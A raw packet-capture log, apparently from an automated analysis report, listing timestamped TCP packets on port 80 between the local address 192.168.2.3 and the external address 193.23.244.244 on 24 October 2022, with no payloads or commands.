Oct 24, 2022 11:00:10.998265028 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998284101 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998296976 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998302937 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998315096 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998322964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998342037 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998347044 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998362064 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998379946 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998385906 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998399019 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998416901 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998421907 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998436928 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998455048 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998461008 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998473883 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998492002 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998497963 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998511076 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998531103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998534918 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998550892 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998569012 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998574018 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998589039 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998606920 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998610973 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998625040 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998642921 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998648882 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998661995 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998678923 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:10.998684883 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.998719931 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.999363899 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:10.999461889 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.016623974 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016659021 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016678095 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016691923 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016709089 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016729116 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016751051 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016769886 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016788006 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016805887 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016824007 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016841888 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016860008 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016874075 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016870022 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.016891956 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016912937 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016930103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016938925 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.016947985 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016967058 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.016978025 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.016987085 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017004967 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017009020 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.017024040 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017041922 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017047882 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.017083883 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017092943 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.017105103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017123938 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017132998 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.017143011 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017159939 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017167091 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.017179966 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017196894 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017203093 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.017215014 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017242908 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.017637014 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017656088 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017673969 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017692089 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017703056 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.017713070 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017731905 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.017735004 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.017772913 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.018306017 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.018328905 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.018346071 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.018362999 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.018376112 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.018381119 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.018399954 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.018424988 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.020246983 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.020271063 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.020289898 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.020304918 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.020318031 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.020337105 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.020354033 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.020416021 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.020474911 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.022336960 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.022360086 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.022377968 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.022392988 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.022411108 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.022428989 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.022485018 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.022546053 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.024653912 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.024679899 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.024696112 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.024714947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.024734020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.024751902 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.024750948 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.024791002 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.024816036 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.027196884 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.027220011 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.027237892 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.027256966 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.027277946 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.027297020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.027297974 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.027359009 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.029359102 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.029382944 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.029402971 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.029422045 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.029439926 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.029460907 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.029460907 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.029517889 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.032670975 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.032696009 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.032713890 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.032727957 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.032751083 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.032768965 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.032787085 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.032814026 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.032861948 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.035156012 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.035177946 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.035195112 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.035214901 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.035232067 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.035250902 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.035317898 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.035319090 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.037075996 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037101030 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037120104 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037138939 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037156105 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037174940 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037206888 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.037247896 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.037349939 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037399054 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037411928 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.037420034 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037440062 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037458897 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037468910 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.037480116 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037533998 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.037956953 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037976027 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.037995100 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.038014889 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.038027048 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.038033962 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.038073063 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.038077116 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.038136959 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.038561106 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.038580894 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.038598061 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.038618088 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.038635015 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.038655043 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.038654089 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.038674116 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.038717031 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.038754940 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.039319992 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.039340973 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.039359093 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.039377928 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.039396048 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.039413929 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.039606094 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.040855885 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.040879965 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.040899992 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.040919065 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.040936947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.040966034 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.040985107 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.041039944 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.041481018 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.041500092 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.041516066 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.041533947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.041552067 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.041568995 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.041573048 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.041609049 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.041632891 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.042095900 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.042115927 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.042131901 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.042150021 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.042165995 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.042185068 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.042184114 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.042222023 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.042248964 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.042589903 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.042608976 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.042634964 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.042653084 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.042670965 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.042671919 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.042690992 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.042704105 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.042727947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.042742014 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043103933 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043124914 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043143034 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043160915 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043175936 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043179035 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043198109 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043210030 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043251991 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043401957 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043456078 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043473005 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043490887 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043512106 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043529987 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043539047 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043550014 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043569088 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043576956 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043589115 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043610096 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043617010 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043629885 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043648958 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043654919 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043668032 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043685913 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043698072 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043704987 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043726921 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043735981 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043745995 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043767929 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043772936 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043787003 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043804884 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043813944 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043824911 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043843031 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043853045 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043863058 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043883085 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043889999 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043904066 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043921947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043931007 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043941975 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043961048 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043968916 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.043979883 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.043999910 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044012070 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044018984 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044038057 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044044971 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044056892 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044078112 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044085026 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044095993 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044115067 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044126987 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044136047 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044154882 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044163942 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044173956 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044193029 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044203043 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044212103 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044229984 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044239044 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044250011 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044269085 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044281006 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044290066 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044307947 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044317007 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044328928 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044346094 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044356108 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044363976 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044382095 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044390917 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044400930 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044424057 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044429064 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044444084 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044462919 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044473886 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044482946 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044502020 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044512033 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044524908 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044544935 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044559002 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044564009 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044584036 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044591904 CEST	49711	80	192.168.2.3	193.23.244.244
Oct 24, 2022 11:00:11.044605017 CEST	80	49711	193.23.244.244	192.168.2.3
Oct 24, 2022 11:00:11.044622898 CEST	80	49711	193.23.244.244	192.168.2.3
